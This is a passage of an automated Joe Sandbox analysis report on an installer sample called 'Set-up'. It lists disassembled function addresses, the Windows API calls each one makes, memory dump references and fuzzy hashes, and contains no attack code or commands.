Opcode Fuzzy Hash: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction Fuzzy Hash: 96F0F471A10220DFD7555B74DD04B273699AB80361F24463BF911F62F1E6B8DC528B4E

Function 00405E50 Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction ID: fe2e31f24f36ecb58ba6038de6e4569557e5a61990f2f31681ab57118d472e11
Opcode Fuzzy Hash: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction Fuzzy Hash: BCD09E71554202EFEF098F60DE1AF6EBBA2FB94B00F11852CB292550F0DAB25819DB15

Function 00405E30 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406E81,?,?,?), ref: 00405E34
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E47

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction ID: a99f375bd2b1051765f890e1d94d2f722c1bb1ba0a12d38356d8610c0186b9c0
Opcode Fuzzy Hash: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction Fuzzy Hash: 84C01272404800EAC6000B34DF0881A7B62AB90330B268B39B0BAE00F0CB3488A99A18

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033CE,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction ID: a3bc5d39330dd194e4c7332763fdc94ca13499671d705f1c19c6925397c50364
Opcode Fuzzy Hash: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction Fuzzy Hash: C8E08C32550118BFCB109EA69C40EE73B5CFB047A2F00C832BD55E5290DA30DA00EBE8

Function 004037CC Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

CreateDirectoryW.KERNELBASE(004D70C8,00000000,004D70C8,004D70C8,004D70C8,-00000002,00403A0B), ref: 004037ED

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction ID: 8ea1286759415c6f695425ed34242866ebe8a7a529327a4e56f2759b30593fc1
Opcode Fuzzy Hash: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction Fuzzy Hash: B1D0A921083C3221C562332A3D06FCF090C8F2635AB02C07BF841B61CA8B2C4B8240EE

Function 00403DAF Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction ID: 301fa2329b67e93c742f3c195cb428e9759bf169fd062939fd541a9b7e119014
Opcode Fuzzy Hash: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction Fuzzy Hash: D3C04C71650601AADA108B509D45F1677595B50B41F544439B641F50E0D674E450DA1E

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040375A,?,?,?,?,00000000,00403A47,?), ref: 00403376

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction ID: da19c3e449f5d10d282cbd9bcc1d8f2f369397d5e390659c1e8fea63e82898b0
Opcode Fuzzy Hash: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction Fuzzy Hash: 0CB09231140204AEDA214B109E05F067A21FB94700F208824B2A0380F086711420EA0C

Function 00403D98 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction ID: f61ffac979fbda5733e9df3da2bdae5977773398d3d4f9e0d67d11d125479468
Opcode Fuzzy Hash: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction Fuzzy Hash: EFB09235181A00AADE614B00DF0AF457A62A764701F008079B245640B0CAB200E0DB08

Function 00403D85 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,0040574D), ref: 00403D8F

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction ID: d14db2bc66c636a64d409f7b36464c270e9f3e97be8c2f7aaa1954d4611ec3db
Opcode Fuzzy Hash: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction Fuzzy Hash: 8DA01275005500DBCF014B40EF048067A61B7503007108478F1810003086310420EB08

Non-executed Functions

Function 0040497C Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404993
GetDlgItem.USER32(?,00000408), ref: 004049A0
GlobalAlloc.KERNEL32(00000040,?), ref: 004049EF
LoadBitmapW.USER32(0000006E), ref: 00404A02
SetWindowLongW.USER32(?,000000FC,Function_000048CC), ref: 00404A1C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A2E
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A42
SendMessageW.USER32(?,00001109,00000002), ref: 00404A58
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A64
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404A74
DeleteObject.GDI32(?), ref: 00404A79
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AA4
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404AB0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B51
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404B74
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B85
GetWindowLongW.USER32(?,000000F0), ref: 00404BAF
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BBE
ShowWindow.USER32(?,00000005), ref: 00404BCF
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CCD
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D28
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D3D
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D61
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404D87
ImageList_Destroy.COMCTL32(?), ref: 00404D9C
GlobalFree.KERNEL32(?), ref: 00404DAC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E1C
SendMessageW.USER32(?,00001102,?,?), ref: 00404ECA
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404ED9
InvalidateRect.USER32(?,00000000,00000001), ref: 00404EF9
ShowWindow.USER32(?,00000000), ref: 00404F49
GetDlgItem.USER32(?,000003FE), ref: 00404F54
ShowWindow.USER32(00000000), ref: 00404F5B

Strings

M, xrefs: 00404B43
, xrefs: 00404F39
@, xrefs: 00404B90
N, xrefs: 00404C06

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: d31232896a0766ad2925f7f8dcaf29c8f657193e0fe6649208ba40017519f6b3
Instruction ID: e2b6c32447eba08f07ab18e4c0942225b167af9b9c7e550a0b0592367213937f
Opcode Fuzzy Hash: d31232896a0766ad2925f7f8dcaf29c8f657193e0fe6649208ba40017519f6b3
Instruction Fuzzy Hash: 09026CB0900209AFEF209FA4CD45AAE7BB5FB84314F10413AF615B62E1D7B89D91DF58

Function 004044A5 Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 004044F9
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404507
GetDlgItem.USER32(?,000003FB), ref: 00404527
GetAsyncKeyState.USER32(00000010), ref: 0040452E
GetDlgItem.USER32(?,000003F0), ref: 00404543
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404554
SetWindowTextW.USER32(?,?), ref: 00404583
SHBrowseForFolderW.SHELL32(?), ref: 0040463D
lstrcmpiW.KERNEL32(00462540,00447240,00000000,?,?), ref: 0040467A
lstrcatW.KERNEL32(?,00462540), ref: 00404686
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404696
CoTaskMemFree.OLE32(00000000), ref: 00404648

Part of subcall function 00405C84: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403F81), ref: 00405C97

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Part of subcall function 00403E74: lstrcatW.KERNEL32(00000000,00000000,0046A560,004C70A8,install.log,00405A9C,004C70A8,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006), ref: 00403E8F

GetDiskFreeSpaceW.KERNEL32(00443238,?,?,0000040F,?,00443238,00443238,?,00000000,00443238,?,?,000003FB,?), ref: 00404759
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404774

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

SetDlgItemTextW.USER32(00000000,00000400,00409264), ref: 004047ED

Strings

82D, xrefs: 004046DB
@%F, xrefs: 00404674
@rD, xrefs: 00404610
A, xrefs: 00404636

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: 82D$@%F$@rD$A
API String ID: 3347642858-1086125096
Opcode ID: c0e02fddfd6f2336b8cee43e087a4f5cb21d7496477502da2ed1e77ce6b2ef00
Instruction ID: 5c5d6a603380bcdbc7d7d35b60f5621b43697e5e98684918e033f9398a36e476
Opcode Fuzzy Hash: c0e02fddfd6f2336b8cee43e087a4f5cb21d7496477502da2ed1e77ce6b2ef00
Instruction Fuzzy Hash: D1B1A4B1900209BBDB11AFA1CD85AAF7AB8EF45314F10847BF605B72D1D77C8A41CB59

Function 00406ED2 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F30
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FA9
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FB5
lstrcmpA.KERNEL32(name,?), ref: 00406FC7
CloseHandle.KERNEL32(?), ref: 004071E6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

%s: failed opening file "%s", xrefs: 00406F0C
name, xrefs: 00406FBF
GetTTFNameString, xrefs: 00406F07

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction ID: 34713ba181b26839f7619e948cf229fd8716e5ee99c03f3e8673f79b0d3e70cf
Opcode Fuzzy Hash: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction Fuzzy Hash: 9091BF70D1412DAACF04EBA5DD909FEBBBAEF48301F00416AF592F72D0E6785A05DB64

Function 00406C9B Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004C30A0), ref: 00406CB8
lstrcatW.KERNEL32(0045C918,\*.*,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D09
lstrcatW.KERNEL32(?,00408838,?,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D29
lstrlenW.KERNEL32(?), ref: 00406D2C
FindFirstFileW.KERNEL32(0045C918,?), ref: 00406D40
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E22
FindClose.KERNEL32(?), ref: 00406E33

Strings

RMDir: RemoveDirectory("%s"), xrefs: 00406E6F
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E58
Delete: DeleteFile("%s"), xrefs: 00406DBC
Delete: DeleteFile failed("%s"), xrefs: 00406DFD
RMDir: RemoveDirectory failed("%s"), xrefs: 00406EB0
Delete: DeleteFile on Reboot("%s"), xrefs: 00406DE0
\*.*, xrefs: 00406D03
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406E93

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*
API String ID: 2035342205-3294556389
Opcode ID: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction ID: 0ca3ec5a28b3c1cae8259a28e21d86b18febecd5c0179aed135e39ed79665852
Opcode Fuzzy Hash: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction Fuzzy Hash: 2D51E3315043056ADB20AB61CD46EAF37B89F81725F22803FF943751D2DB7C49A2DAAD

